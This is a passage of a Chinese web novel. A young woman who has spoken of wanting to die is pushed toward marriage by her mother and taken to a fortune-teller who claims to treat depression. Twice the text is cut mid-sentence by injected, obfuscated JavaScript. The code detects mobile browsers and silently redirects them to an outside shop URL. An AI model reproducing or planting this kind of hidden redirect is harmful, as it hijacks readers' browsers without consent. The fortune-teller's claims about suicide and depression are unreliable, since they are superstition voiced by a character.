“你是不晓得,碰到个这么合适的,有多难!那个男孩子性格蛮温和,和他爸爸一样,既不抽烟,也不喝酒。你说,这么好的伢,上哪里找?” “两个人年纪也合适,那个伢只比她大三岁。老话不是说‘女大三抱金砖’,反过来不是一样的!那个男孩的妈妈,一眼就相中了她呀!你说这多好!以后的婆媳关系也不用愁了。”说完,她还看了我一眼。 “那个男孩子,就是文凭差了点。男生嘛,都调皮。她倒是文凭好,有什么用?到头来,别人一个工作稳稳当当地做了这么些年,她总在跳槽,现在,只能在我的店里帮忙。别人没看不起她,就不错了。” “我真是着急呀!你说,要是我哪天出了意外,她爸爸又指望不上,就剩她一个人,后事都办不清楚!” 我抬头看向她,哪有这样说自己的。 “你看什么唦?你晓得是个什么流程吗?”妈妈白我一眼。 “瞎说什么,你比我还小个几岁,以后还要抱外孙哩!”那人亦听不下去。 “哎哟,还外孙!我倒是想抱啊,我屋里嫂子已经抱了两个,小的那个,也快上小学了。我也不要多的,一个就行,男伢女伢都好,你让不让我抱唦?”她偏头对我说。 我想过自己以后有孩子会是怎样。我只有一个念头,那就是绝对不会让她和我的亲人接触,此中,尤其是妈妈。她的那些阴招,比如冷不丁地掐小孩一下,只为了让孩子张口喊人,种种孽行,成年之后,我才意识到过分。我绝对不会让自己的小孩经历我曾经历过的那些。 “你让这个伯伯说,我年纪也大了,还能做个几年咧?做死做活,还不都是为了你?“我也不指望抱外孙了,你就说我死之前,能不能看到你出嫁?” “我真是不知道她脑子里面一天到晚在想什么,一点成家的想法都没有,整天穿着个T恤、牛仔裤,也不爱俏!我们那个时候哇,是没得条件,她倒好,网上好看的衣服那么多,她整天穿得跟个男孩子一样。” 我竟不知,她对我的衣着也有意见。同款T恤一买就是多件,只颜色不同,这是她惯做的事;买裤子点着男款,也是她开的头。 “以前总想着她心思单纯,不爱打扮也好;现在还这个样子,真是让人发愁。也不晓得,别人看中了她什么!唉!我哪天眼睛一闭,脚一蹬,就留这一个伢在世上,我死也闭不上眼睛呐!” “你再在哪里去找我咧?”她转头对我说:“等我死了,你再到我的坟头去哭咧?怨我不该留你一个人在世上,怪我活着的时候,没有把你安排妥当?” “我那个时候已经在地底下了,我就是再想帮你,也帮不了哇!” 不知怎地,竟被她说得有几分凄凉。 “而且,我现在也退了休。你要是今年结婚,明年生小孩,我还有精力帮你带伢!我也这个岁数了,你让我开心几年,不行吗?” 她继续对那人讲:“这个伢呐,还是蛮孝顺,学习这块,从来没让大人操过心。人也能干,什么事都自己会做,一向自己照顾自己。她呐,也是蛮不容易。” 我有些愣神。居然从她口中听到认可。 “炸面窝这活,她上手就会,人确实蛮聪明。可越是这样,我越盼着她好哇!她现在这个样子,我也有些不忍心。我年轻的时候也不懂事,作为一个母亲,有很多地方做得不够好,回过头来,我也想好好弥补她。都说女儿是妈妈的小棉袄,她每天在店里,帮我做蛮多事呐!她比我还细心些,我炸的面窝,都没得她的有看相!” 她转过头来对我说:“我整整怀胎十个月,过了预产期,你在妈妈的肚子里还不愿意出来!你是我的骨血呀!你就是吃我的肉、喝我的血,我也心甘情愿!不管你多大,你都是我的宝贝呀!” 我有些动容。那人亦递来纸巾。 “成家这个事,我是真的是为她好哇!”说完,妈妈用纸巾擦了一下眼角。 “丫头哇,你的难处,你妈妈也看在眼里。她说的,也并非全无道理,可怜天下父母心呐!” “你是怎么想的咧?”那人问我。 一般家庭,老人想抱孙子,属于人之常情。可我这么个情况,爹不疼娘不爱,身后无人,自己也没有本事,难道要我去寺庙摇签求老天垂怜,得遇一个睁眼瞎,从此手心朝上靠人怜悯度日吗? 我做不到。要是有能力,我就好好养活自己。其他的,我什么都不去奢求。 “我只想考公,找到工作。”我回答。 “你看,这个伢呐,真是个死脑筋!”妈妈埋怨道。 “我顺着你说啊!假如你考上了公务员,之后再怎么打算咧?” 我不明所以,哪有这么容易的事?若是真能考上,一切都可顺其自然,还用操什么心? 她见我没有回应,又接着说:“考上了还好说,考不上怎么办?” “考不上,她想接着考!我还不了解她,一条路走到黑的人,她的个性格,真不知道随了谁!” “就算你父母愿意支持你继续考试,可一年年就这么过去了,等你真考上,岂不成了个老姑娘!缘分可是不等人的呀!只有你由它,没有它随你的!” “人呐,这一生,强求不得,讲的还是一个缘分。就拿我来说,也不怕你笑话,我和我家那位,一开始也没人看好。” 那人娓娓道来:“最早别人给我介绍的,是另外一个,各方面条件都可以。我们那个年代,不比现在,婚姻大事,主要还是爸妈做主。从学校出来,找到工作,下一步就是结婚生子,总不能一直赖在家里吧!” 她看向我,接着说:“我上面还有好几个兄弟姐妹,住的房子也不大,一大家子挤在一间屋,热闹是热闹,为鸡毛蒜皮的小事吵架也不少。大家心里,多少还是想着早些成家,有自己的小屋。” “你看,她一个人住那大个屋,哪里晓得人间疾苦!”妈妈插嘴道。 那人轻轻拍了妈妈一下。“虽然碰到了条件不错的,可毕竟,我年纪小,并不着急。我也想多相看几个,用你们的话说,就是找个自己喜欢的。只不过父母的态度在那里,也不好推辞。那个时候,我屋里嫂子就要嫁进来了,父母一心张罗大哥的婚事,也顾不上我。就说在这之后,再谈我的事。” “我当时住在宿舍,上铺和我是同学,一起进的厂。就你们现在称作闺蜜的,我那个时候也有一个,就是她。刚从学校出来的伢,心思也单纯,哪晓得别人肚子里在想些什么?加上两个人一天到晚都在一起,什么事,我都和她讲。” “她得知别人给我介绍对象,蛮好奇,想见上一面,给我做参谋。女儿家的心事说说可以,真要见面,我脸皮也薄,怎么开得了口?这事说到底,八字还没一撇,我都没见过呢!她心思一动,就跑去找别人牵线,一下子就叫她给看中了。” “她咧,屋里条件比我差些,但人长得蛮好看,身材高挑,还会打扮。俗话说,男挑女如隔山,女挑男如隔纸。哪个男的受得了女生主动咧?还真让她把人给钓到了。” “我倒不吃亏啊!我心里非常明白这个道理,一唤就跟着走的,那就是没缘分。但是,不晓得是哪个岔巴子,把那个男的在相看我的事说了开去,这话传来传去,就变成那个男的看不上我,才找的我同学。” “这个时候,我再说什么,都于事无补,只能默默吞了这个哑巴亏。周围的人呐,当时都笑话我,诸如‘到嘴的鸭子都飞了’这种话,要多难听就有多难听!” “就是这个时候,我老公,他托人上门,替他做媒。我跟他原来就住在一个村子,但也只是见面点点头那种关系。在这之前,我完全不知道他有这个心思。” “而且,他屋里条件不是蛮好,总穿着一个洗得发黄的破旧褂子在村口晃悠。其实他人长得还可以,五官也蛮端正,又高,就是家里条件差了点。” “可这有什么关系呢?条件好的,也不能天天大鱼大肉;条件差点,也不至于缺吃短穿。” “日子呐,是两个人一起过出来的。只要两个人的心在一起,力往一处使,就能把生活越过越好。相反,你找个冤家,当初倒是喜欢,结婚以后成天吵架,不得安生,这日子又哪里能够过得下去?” “现在的孩子找对象,要有工作,要有房子,要长得好看,还要有钱,最好屋里还有关系,都挑花了眼。可是,总归到底,这些都是旁的,人好不好,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301320|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是关键。” “什么条件都满足,别人又看不看得上你咧?现在不比从前,社会复杂,一不小心找个玩得花的,求告也无门!” “我听你妈妈说,那个人还是不错的,这个年纪还没有结婚,说不定就是在等你。来得早不如来得巧。你妈妈说你之前一直在工作,现在闲下来,遇到这么个人,说不准,还真是你的姻缘到了!” “你看,这个伯伯的话讲得多好啊!我可说不来。”妈妈又插上一句。 “你啊,遇到了这个人,还是可以好好相处,多了解一下。你妈妈又不是要你现在就把亲事定下来,真不合适,她也不会硬逼你呀!” 我头皮发麻,脑袋里什么都想不了,既不会同意,也无从驳斥。只能闭口不言。 见状,那人接着和妈妈聊。 “你们商业街上面,原来开粮油店的那家,你还记不记得?”她问道。 “晓得呀,怎么啦?”妈妈给她接话。 “那个屋里的男老板,去世没得多久。” “才多少岁?感觉比我大不了多少。”妈妈说道。 “六十出头,不到七十。” “那怎么就走了咧?” 妈妈很是吃惊。 “还不是得病。他屋里女老板,看上去也没几年了。”话中很有些遗憾。 “哟,你不说我还真不知道。” 妈妈感慨道。 “他们家也是个姑娘,和我屋里陈明是一届的。也是读书蛮好,考到了民大,毕业回武陵,直接去事业单位上班。那个时候,一个月就有五六千。夫妻两个特别有面子,见人就夸自家女儿。那个女孩各方面确实蛮出挑,我们也跟着捧场。”那人说道。 “我好像听说过,那个姑娘嫁的怎么样?”妈妈问道。 那人摇摇头,说:“没出嫁,一直在家呢!本来处了一个,都谈婚论嫁了,不知怎的,突然没了后话。她爸妈也不着急,想着自家姑娘条件好,工作又稳定,只要孩子开心,不结婚也没事。” “那孩子真是出息,进去没几年就上了个台阶,单位分房子也赶上了,她爸妈都随她搬到杉湖去了。可好日子没过几年,她爸爸就得了病。一开始还有她妈妈照顾,后来,她妈妈也身体不行了。两个人只能指望她。” “哟,这哪里照顾得过来!”妈妈说。 “是唦,说是请了护工,但都做不长。护工也是为了赚钱,太吃苦的事,别人也不愿意做。在家里养病倒还好,可她爸爸那病,三天两头就得往医院跑。还好她在事业单位,经常请假,领导也没说什么。不过自那之后,再往上走,就没得机会了。” “她上回推着她妈妈回榕潭,人老得不像样,哪像个四十岁的人呐!比我家陈明都显老。原先那么风光得意,却落得这么个下场。后来还听说她想找人做媒,都没得后话。这么个摊子,哪个愿意接咧?” “你看,拖到后来,想嫁都嫁不出去!”妈妈和我说道。 “所以呀,丫头,婚姻大事拖不得。你爸爸妈妈年纪也大了,年轻的时候只顾自己潇洒,等到年纪大了,但凡遇上点事,蛮轻易就能把人压垮。”她一脸严肃地和我说。 “唔。她哪理解得了咧?打不挨到自己身上,哪晓得痛!”妈妈说。 “唉,说再多也没得用,她难得听进去。她今天来店里找我的时候,把我吓了一跳哇!再跟这个伯伯说,没得关系吧?”她问我,却不等我回答。 “她一进来就说,妈妈,我想死。你说吓不吓人!”她面上仍作惊魂未定。 “这种话怎么能随便说出口。”那人亦嗔怪我。 “她失眠了好几天,白天在店里也辛苦,晚上又睡不着觉,身上还不干净,想一想,确实难受。” “丫头,你有没有听过一句话?慈悲不度自绝人。有些事,你可千万做不得!” “自杀可是罪过!你今生好不容易投胎到人道,那是你前世种善因结善果修得的福报哇!一旦自杀,来世可是要去到畜生道的!” “听到没?”妈妈帮腔道。 我不知该作何感想。我觉得,转世为一只蟑螂,见光死也不错。就怕再世为人,历爱别离、怨憎会、求不得,受五阴炽盛之苦。死亡于我,从来都是解脱。如果可以,我希望自己能够灰飞烟灭,不再有来世。 “噫,你姑娘怕不是撞上脏东西了吧?”那人突然开口道。 “姐姐欸,你莫说话吓我!”妈妈大吃一惊。 “不过,转念一想,保不齐还真是这样!这个伢一直好生生的,身体也没得病,冷不丁地说自己想死,怎么看都不对劲!”她开始附和。 “要不要找人看一下?”那人提议道。 “依我看,相当有必要。”妈妈一边点头,一边表示赞同。 “姐姐,你有没有认得的人唦?我在这个方面,完全没得门路。这个事,只能靠你了!” “一般人我是不得说的,将信将疑,心也不诚。不过,我和这个丫头蛮有缘。告诉你倒也无妨。” “这个人是我师兄介绍给我的,蛮多信众,我们都喊她五婆婆。她是王母娘娘的五女儿,下凡历劫,顺带渡一渡我们这种有缘人。” “哎哟,今天可真叫我们碰到了!你看,让你来和这个伯伯聊天,没做错吧!”妈妈和我说。 “如何联系五婆婆咧?”妈妈问。 “她轻易可不加人好友。你要是想去,我可以帮你问问。” “姐姐,你送佛送到西,帮我们联系下!” 那人也不推辞,拿起手机,“那我帮你问一下她什么时候有空。” 事情的走向,我已有些跟不上。 “我帮你约明天?” “你帮我问下今天行不行,这个伢这个样子,很有点吓人。” “那我不保证的啊!”那人说道。 她发完消息,放下手机。“她等一下才回我。” “哟,都这个时间了。丫头,肚子饿了吗?” 我摇摇头。 “我肚子有些饿了。”妈妈说道,刚才她接过零食,顺手放在了堂屋的桌子上。 闻言,那人离开房间,回来的时候,拿着几包零食。 妈妈从她手上接过,她亦递给我。 “吃点东西垫垫肚子。”我接了过来。 妈妈尝了一口,说:“味道不错呀,在哪买的?” “是吧,就斜坡拐角的零食铺。年纪大了,总喜欢备点零食在身边。” 许是见我不动,她拆开条头糕的外包装,递给我。 “我给你打开,你尝下。” 我再次接过,这一回,就着吃起来,没尝出味道。 过了一会,“要我帮你把酒酿拧开吗?”她问我。 我摇了摇头,自己动手。稍稍抿了一口,和我想得不太一样,甜滋滋的,并不腻味。 我对她报以一笑。她亦朝我点点头。 “叮!”手机铃声响起,她拿起查看。 “今天赶巧了,她下午正空着。” “姐姐,你下午有没得事唦?”妈妈问道。 “事倒没有。怎么了,你想我和你一起去?” “那肯定啊!那地方只有你熟,我们一起去,路上也可以做个伴。”妈妈劝说她。 “嗯,我衣服还没洗。这样,我们约到一点,你们趁这个时间,赶紧回家吃饭。” “好咧,那我们就不打扰你了,下午见。” “下午见,我送你们下楼。” 下到一楼,他们家人正围在饭桌前。 “怕打扰到你们,就没上去喊。正好,饭刚端上桌,就在我们家吃。”男主人发话。 “哎哟,哥哥这客气。” 妈妈看我一眼,说道:“我家孩子认生,不得在外头吃,你们用。” 此时,我才注意到她家。餐桌就在窗户边,与客厅相邻,另一头对着落地玻璃门,拉闸门缩在一侧,房顶吊得极高,屋内敞亮、整洁、明净。 “我们先走啊,拜拜!” “拜拜!”饭桌上的两个小家伙亦和我们告别,她家孙辈儿女双全,可谓是福气满堂。看着也不大,六、七岁的模样。 “好聪明的小孩!”妈妈当场赞扬。 听到夸奖,两张小脸笑得格外甜。 去到外面,妈妈问我:“我们中午吃什么呢?店里的大肠肯定卤好了。大舅妈还和我发消息,说烧了鸡子,要我过去拿。你吃不吃唦?” 我点点头。肚子里一点油水都无,感觉很久没沾荤腥了。 回到店,屋子里热气腾腾,卤料的香味四溢。 “你和那个伯伯怎么认识的?”我问道。 外婆和大舅妈倒是初一十五地去寺庙,妈妈一贯找临市的师父算命,并不信佛。 “她屋里之前开麻将馆的。”妈妈解释道。 这就说得通了。 关掉炉子,妈妈找来一个不锈钢盆,夹出两根猪大肠,用塑料袋套上。 锁上门,我俩又去到外婆家。一楼并没有人,妈妈翻出一次性纸碗,盛了两碗米饭,拎着打包好的土豆烧鸡,放进车斗。我俩回到她的住处,此时恰好正午。 我已经很累了,哭完之后,情绪有些真空,思绪平静了下来。 卤过的大肠很是开胃,我就着吃了好几口白米饭。土豆烧鸡倒没怎么碰,土豆上挂着辣椒末,想必,大舅妈烧菜的时候又加了火锅底料。味道却很是寡淡,一点油花也不见。 吃完饭,妈妈问我:“等下开你的车子去咧?我给你加油。” 我点点头,爬上床尾,闭上了眼睛。 “到时间我喊你呀!”意识渐渐散去。 46. 2025年7月,第27周 46 [2025年7月,第27周] “小翕,起来啦!” 意识回笼,虽然睡得不沉,却久违地没有半途醒来。我看了眼手机,足足半个小时,委实不错。 从床上坐起,人还有些恍神。片刻后,我下了床。 “等会让你开车,没有关系吧?”听上去妈妈有点担心。 我摇了摇头,提醒道:“等会记得买水。” 妈妈还买了水果,一只手都拎不下。我坐在车里,炕人的热气还未散去,将冷气调到最大。 她指路去加油站,再抄小路拐到那人家。妈妈拎着水果,下车去接那人。 车门再次打开,那人收了伞,先钻进车,妈妈随后。 我递过去水。 “谢谢。”她对我说。 “不客气。” “中午休息了没有?”妈妈问道。 “晒完衣服在按摩椅上稍微眯了会。” 那就好。 “那地方在哪?”妈妈又问。 “我把位置分享给你。” 收到消息,妈妈欲把手机递给我,我让她转发。那地方在北巫区,亦是郊外,与竹溪接壤,路上大概得一个小时。一行人这才出发。 她们在后座聊天,我精神尚可,偶尔听上几句。 “五婆婆她怎么收费?”妈妈问。 “一项五百块,看你到时候问几样。她不会主动找你要钱,也不会说要多少,你看准时机,把钱递过去。”那人说。 “你钱准备好了吗?”那人问道。 后视镜里,妈妈点了点头。 我并不排斥算命,或者说,在旁人的耳濡目染下,多少有些拿来参考。好比这回辞职,下午我就去到寺庙抽签,以求心安。箴言是“十字路口慎向前”,现在想来,可能和是否放弃VR有关。 更主要的是,每回算命,师父讲的话相当让人信服,“这孩子脑袋聪明呀,”“她前途一片光明呀,”诸如此类。信以为真,并没有什么不好,反而成其为动力,让我一往无前。 反观妈妈,我倒是不知她为何仍信这些。在姑奶奶的陪同下,每年春节,她都会去临市的寺庙上香,尤其是我考研的那几年,一次都不落。师父回回都说我能考上,可没有一次说中。 古有《周易》,卜卦占筮,看上去颇有些神神叨叨。可了解起来,易经六十四卦,共计三百八十四爻,每一卦,无一不是变化规律;每一爻,皆是历变中的当位。其中,潜龙勿用,是我最不喜的一爻。 蝴蝶效应并非人力可以推演,可运势如何,冥冥之中,却可窥得一二。喝凉水都塞牙,就不会再想着买彩票;心里有些不安,就返回家中检查门窗和燃气。谨慎些,总不会有错。 我这些年,委实有些倒霉。 小事不计。一九年再次工作,两年间摔了三回,两个脚踝,各拍了一张片子,直至最后一次韧带拉伤;去年酒后歪了一下,又把大拇指给撅了;今年上班路上撞到电动车,对方没事已是不幸中的万幸;去年把车停在饭店门口被擦碰,我斥重金购入行车记录仪;辞职那天,梅开二度,中午刚返回家,手机就响起警报,我往窗外一看,后视镜外壳不翼而飞。一辆车停在马路中间,好在这回被我逮到了。 那天下午去寺庙,实属不得已而为之。 妈妈其实不愿意坐我的车,也是这个原因。我亦觉得,自己倒霉得有些过了。 到达定位附近,路边刚好有空地。我举着伞,和妈妈跟在那人身后,穿街走巷,去到五婆婆住处。 说来也奇怪,太阳这么大,五婆婆所在,却泛着阴凉。偌大个院子,上方满满当当地铺着顶棚,只四边和顶角照进少许光亮。虽在农村,半个足球场那么大的院子,也不多见。其中,一面是墙,一面用作堂屋,另一面并着三间屋。门在一角,一个上了年纪的男人,从邻角的房间出来迎客。 “五婆婆在家吗?”那个伯伯问道。 “你们先进去坐,我来告诉她。”那人答说。 堂屋倒不大,只三米宽,我跟在她们身后跨过门槛,大家都没往里走。屋内没人,日光灯一直点着。我有些口渴,拧开瓶盖喝了口水。 那人进来时,碰巧我回头。她年纪不大,身形不高,下巴翘得高高的,一头黑发盘在脑后,面部的肌肤似玉般温润,穿着老式短款垫肩针织衫。 “你们坐唦!”她一边说话,一边从上衣口袋掏出遥控器,把空调打开。其实,屋内亦不热。 那人入座铁窗旁的书桌后面,同行的伯伯说:“你们去前面坐,我在后面等着。” 妈妈搀了我一下。我上前坐到桌子前的塑料凳上,妈妈亦搬过来一个凳子,坐在我身侧。 那人拈起胸前的眼镜,戴上,眯着眼打量了我一番。 “把她的生辰八字报给我。” 妈妈做起这一套如同行云流水,这还是我头一次亲眼所见。 “先让我来说,要是对得上,你们再来问问题。” 她闭上眼睛,头部微微晃动,手指掐算,不时呢喃几句。 我打量着桌子左侧的神龛,里面有一排神佛,可我一个都认不出。不过,我本就认不得几个。 “你,事业不是蛮顺。”她张口就切中了脉门。 “哟,叫您说中了,她老在跳槽哇!”妈妈大为惊奇。 “肯定咧!别人都是哄老板开心,只有她,跟老板对着干。老板还没说什么,她倒在那里拍起了桌子。” 她说起话来,不紧不慢,吐字连贯,脸微微朝向一侧,眼珠则瞟向另一侧。眯着眼睛,紧紧地盯着人。面上时刻流露出笑意,佐以摇头晃脑,颇有几分胜券在握之感。 “像她做得出来的事!”妈妈表示赞同。 我不做声。姑且认下。 “她读书蛮顺,导致为人心高气傲;六亲不得力,成事不足,败事有余;祖上有余财,不过,到她这辈,所剩无几。” “您看得真是准,料事入神!”妈妈说起话来,阴阳顿挫。 “今天想问点什么?”那人已有几分志在必得。 “我闺女在准备考公,我想问一下她今年考不考得上。” “嗯,让我来看一看。”她再次闭上眼睛,掐指算了起来。 妈妈侧头看向我,向下扯着嘴角,赞许地点了点头。 不多时,那人开口道:“嗯,可以一考。” 这话怎么听都模棱两可,妈妈却挑起眉毛,睁大眼睛和我说:“可以一试啊!”尾音拖得略有些长。 “不过,”她话锋一转,“有些事,你们得注意一下。” 妈妈连忙接话:“您请说。” “她精神头不对。”语毕,那人略作停顿,“年纪轻轻,眉眼间却死气沉沉,这个样子,做什么都没戏。” “哎哟,又叫您说中了……” “砰——”那人突然重重地拍了一下桌子,把我吓得一激灵,妈妈也是一样。 那人看向我,开口道:“吓一跳吧,吓一跳就对了!” “经常在手机上看一些重生、穿越的小说吧?还喜欢看一些惊悚、破案的连续剧吧?” “总看这些打打杀杀的,就容易招来不干净的东西。再不要看了啊!” “不看,你才能好得起来,才可以考得上公务员!” 这些话,她说得越发慢,咬字极重。 我陷入沉思,推了推下滑的红边金框眼镜。镜框是日本的一个手作品牌,这副度数稍低,金色涂层已有些花,只在家里带;我还有一副诗乐的黑色复古圆框,周末外出和加班用。 在D站倒是刷到过一些录屏小说的视频,剧情都是为了虐而虐,前期看着怪难受,结局也谈不上大快人心。除了希望别人觉得亏欠,不会出现亏欠;负心人酒足饭饱后,有些矫揉造作也无碍,信以为真反倒正中下怀。由于太过糟心,我还会特意点击“不想再看”。 至于侦探小说,阿加莎和柯南·道尔的作品,电子版和纸质版我都买过,电影也看过好几部。这二位的著作,不止是英吉利瑰宝,更是全世界侦探文学的巅峰代表。我不觉得有任何不妥。 “刚进来的时候,你还不信我吧?”她自以为说中,有些洋洋得意。 “她信的吔,是她自己愿意来的!”妈妈替我辩解。 许是我不够捧场,又被妈妈截断话茬,她转头吩咐妈妈:“你呀,多带她去买几套衣服,妈妈怎么做事,女儿就学着你,你对她的影响很大。” “什么年纪,穿什么衣服,知不知道?人靠衣装,佛靠金装,精神头对了,事才做得顺!”她又对我说道。 我低头看了眼自己的衣着,浅蓝色宽版短款纯棉T恤,这个版型、这个价位,已是难得;下身一条靛蓝色牛仔及膝短裤,自觉清爽干脆。怎么一个二个都看不惯! “我早上还在说她,好好一个姑娘伢,一点都不爱打扮。” 那人再次被打断,直接向妈妈开火:“你少说话,听我讲。她的这个脾气呀,跟你有蛮大关系!不看你八字就晓得,你是个暴脾气!平时聊天就你一个人在讲吧?说话从来不兴有商有量!” 妈妈有几分汗颜,应了一声。 “她工作不顺,说起来,都要怪你!你把性格改一改,她才好得起来!”这话把我给我逗乐了,锅居然还能这样甩! 妈妈闭嘴不言后,她接着未说完的话讲。“你呀,要是通过笔试,还得过来找我一回,我教你怎么通过面试。面试要画淡妆,你晓不晓得?穿怎样的白衬衣,都是有讲究的!” 她把胳膊搁在桌子上,边说边用手指比划。 “那必须的,”妈妈立马应承。 这是说我能通过笔试?还是在为自己进一步招揽生意?我心中暗忖,这人有些过于坦率了。 她从桌角拿来一摞黄纸,拿起笔,欲在上面写写画画,却写不出墨。她又拿起另一支。 “还没有没有要问的?”她抬起头,再次问道。 “还有吔!前些时有个人给她介绍对象,想请您帮忙看一下两个人合不合适。” 我瞥了她一眼,真是贼心不死。 “是替我问,”妈妈牵强附会道。 “那个男生的八字有没有?” “有吔!”我惊悚地望向妈妈,她拿出手机,照着报了出来。 “嗯……”那人又开始算。 她睁开眼睛,确认道:“那个男生是不是性情温和,长得不高?” “哟,您是怎么晓得的咧?人都没有见过呀!” “哪里有我五婆婆问不到的事咧?”她这般说。 “他是不是只有一米七?”她再次开口。 “是的、是的,”妈妈连忙点头。 《三命通会》收录于四库全书,可以根据五行断人外貌和性情。这人未必看过,但口口相传、触类旁通,给出大致推断并不难。 姜斯承同属马,长得亦不高,也是个柔性子。一米七是否算得上矮,还是在身边的人有多高。妈妈的反应但凡不那么强烈,数值上也不至于这般精准。 “这两人呐,今生的相逢,在于上辈子就有姻缘!” 还见了鬼吔!我挑眉剜了她一眼。 “咳咳,”她清了清嗓子。 “是蛮巧哦,两个人都是九月份的!” 真是无语他妈给无语开门——无语到家了。一年也就十二个月。 “那个男生到现在都没有成家,是在等你的女儿,”她就这个思路继续推演。 “你女儿也没有成家,说明他们两个今生可以再续前缘!” 她特意和我说:“他在捡你的漏,你也要捡他的漏!” “五婆婆!”又有人进来找她。她点点头,“你们先坐一下。” 我不知该作何感想。我对捡漏这个词,相当陌生。她许是把我归为敝帚自珍之流了。看来,她对我的评价,着实不高。 “男生呐,身高不重要,像我儿子,也是一米七,但是追他的人,有一大把,可以把我家的院子给围满。” “我有个干姑娘,屋里条件还可以,人长得尤为好看,还会打扮,我就给她和我儿子牵线。” “他们两个咧,都到了谈婚论嫁的地步,那个女孩一句话说得不对,我的儿子就不愿意继续了。” “你知不知道是什么话?”她问到我。 我知道她在拿乔。 “那姑娘和我儿子说,结婚之后,你就不能听你妈妈的了,你要听我的。” “就是这句话,让我儿子决心离开她。” “我儿子和我说:‘妈妈,你放心,不尊重你的人我是不会让她进我们家门的。’”她意味深长地看着我。 “还有一个女生,长得很普通,和你差不多。她蛮喜欢我儿子,自己找到我家来呀,又是做饭又是洗衣服,凡事都听我儿子的。我儿子本来不是很喜欢她,但是女生主动,又这么贴心,有什么做得不好的,说出来就改,长时间相处,我儿子也觉得这姑娘确实不错。” “之后就把她娶进来了,”她从抽屉里拿出一个学生证,放到我面前,“看到没,我孙姑娘读得可是外校。” “我儿媳妇那才叫有福气,我们家在安乐有一排门面,我儿子都不管呐,房租全部给她,从来不兴过问。她也不需要上班,每天只用接送小孩上下学。其他时间随便她安排,跟朋友出去玩也好,逛街吃饭也好,想干嘛干嘛。” “那个男生的家境应该还可以,婚房这类的,父母应该备着在。女孩子家家,嫁对人很重要。”她意味深长地对我说。 怎么说呢?也许有人是这些话的受众,可我不是。 坐享其成意味着,解除全副武装。我对无脸男的金子没有兴趣,认为后期踩纺车变作小老鼠的坊宝宝尤为可爱。 小时候,我最喜欢看《格林童话》。如果汉赛尔和格莱特只是两个天真单纯的小笨蛋,他们就无法打赢老巫婆、一次次找到回家的路;如果小女儿不是勤劳又善良,把枕头拍得蓬松、羽绒飘飞,霍勒大妈就不会让她顿顿吃得上肉,送她回家的时候降下一阵金雨作为奖励。 “你们可以谈一下看看。”她继续建议道。 “现在要是谈了,等我考到公务员,遇上更好的怎么办?”我提问。 “那个时候,自然就找更好的呗!”她毫不犹豫地给出答案。 这和缘分有什么关系?分明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301321|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顺水推舟、教人见风使舵。 当人意志笃定,行事上才会冒天下之大不韪;反之,要想赢面最大,找到当局中最有话语权的人,顺着她说,行推波助澜之事即可。事情顺利,下一步亦可盘算;倘若事情不顺,既不曾违逆局势,稍作解释,还可继续出谋划策。 来到这里的人,虽说迷信,却不会穷到哪里去。现在已不兴全都反着说这套。采用因势利导的策略,可以更好地促成长期的稳定合作。 “这样做,难道不是不厚道吗?”我反问道。 “哼,人要是讲厚道,只会错失机会,将好处拱手相让。”她直截了当地告诉我。 我看了眼妈妈,她态度不明。 “还有个事,刚刚把话绕开了。” 妈妈开口道。 “怎么还没聊完?我们都等了好长时间了!”后来的那人已有些不耐烦。 “马上好,等我把这个问完。”妈妈回头安抚,继续说道:“这个伢运气很有点不好。您刚刚说她遇上脏东西,想必就是这个原因。” “她有个话说得蛮吓人,她说她想死,这是个什么情况?” 她真是毫不忌讳。 那人一下就来了兴致。她对我说:“你晓不晓得地府是什么样子?” “我可是去过地府的啊!你知不知道自杀的人的有多惨?他们一筐筐地把黄土从山上运下来,不把忘川填平,就不能停下来!” “做事的时候,还有小鬼在旁边监工,稍微偷下懒,就要挨鞭子!饭不让吃,觉也不让睡!” “你不知道这其中的厉害,才敢说自己想自杀。苦海无边,趁早回头是岸!”她边说边点头。 她倒不如讲西西弗斯的故事。和日复一日做无用功相比,愚公移山和精卫填海到底还是有收获。 我知道说出“地狱不空,誓不成佛”的地藏王菩萨,以及给死人清算生前账的崔判官。我生前善恶分明,做的好事不多,坏事了然于心,清算起来,倒也不至于太过害怕。 “我之前帮别人治疗过抑郁症,可以治好,但人有些吃亏!”她侧头对妈妈说。 “她情况不严重,估计就是一时没想开。” 妈妈替我辩解。 那人拉开抽屉,从里面拿出几个打火机,左右开弓,交替点火。 “你没事,就在家做这个练习,像我这样不停地按打火机,对你有好处的!” 她拉开另一边抽屉,拿出几支笔。 “嘞,这个送给你,考试的时候就用这个黑笔答卷,包管你马到成功!” 她翻出桌子上用票据夹夹着的一摞纸,抽出一张,放在我面前,又拿来纸和笔,吩咐我:“你照着这个写。” 我看了一眼,上面写着人的姓名和生辰八字,以及祈福和避祸的内容。 写完后,我递给她。 她又划拉了几张黄纸,一起叠成长条,用打火机点燃,再用白纸包起来。她从桌下的柜子中翻出一摞卡片,抽出两张,夹在纸包外面,用皮筋捆住。 至于我抄的那张纸,她说:“这个留在我这里,晚一点我帮你求大仙保佑。” 说完,她不再动作,也不再言语。 后面的伯伯上来推了一下妈妈,她这才会意,拿出一沓钱,数过后,递了过去。依我看,那可不止五张。 “您帮忙祈福后,她运气会好起来吧?不会再瞎想吧?”妈妈还有些不放心。 “不会的,一直问个没完,” 等着的那人已在神龛前点香叩拜结束,她再次插话。 